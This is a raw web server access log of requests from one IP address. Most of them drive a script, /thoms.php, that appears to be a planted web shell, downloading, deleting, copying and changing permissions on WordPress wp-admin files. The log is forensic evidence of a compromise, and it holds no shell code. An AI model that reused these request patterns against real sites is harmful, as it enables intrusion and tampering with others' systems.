45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=options-connectors.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28852 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15626 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-comments.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fedit-comments.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /big-wife.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16029 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=edit-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?chmod=themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=theme-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?chmod=nav-menus.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28815 "http://163.245.207.76:443/thoms.php?dl=link-parse-opml.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /big-wife.com.tw/wp-admin/includes/ HTTP/1.1" 200 4209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?del=profile.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=profile.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?chmod=site-health.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /big-wife.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /big-wife.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupdate-core.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fupdate-core.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /big-wife.com.tw/wp-admin/css/ HTTP/1.1" 200 3647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?dl=users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpress-this.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpress-this.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?del=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14268 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:32 -0400] "GET /big-wife.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?chmod=css&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=css&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /big-wife.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/big-wife.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18618 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19044 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /big-wife.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12262 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?chmod=ms-admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?del=admin-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /big-wife.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15641 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /big-wife.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:33 -0400] "GET /thoms.php?del=theme-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?chmod=js&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=js&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /big-wife.com.tw/wp-admin/options-reading.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?dl=my-sites.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /big-wife.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?del=site-health-info.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /big-wife.com.tw/wp-admin/edit-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?chmod=update-core.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /big-wife.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmoderation.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmoderation.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?del=user&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?del=user&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:34 -0400] "GET /thoms.php?del=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?dl=async-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28848 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?chmod=custom-background.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17547 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-connectors.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-connectors.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /big-wife.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?dl=admin-footer.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmedia-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?chmod=menu-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 200 12109 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /big-wife.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?dl=custom-background.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:35 -0400] "GET /thoms.php?dl=moderation.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?dl=profile.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?dl=site-health-info.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?del=term.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=term.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?dl=upgrade.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15921 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmenu.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmenu.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?dl=widgets.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=widgets.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20111 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?del=edit-comments.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=edit-comments.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /thoms.php?dl=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:36 -0400] "GET /big-wife.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?dl=user-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
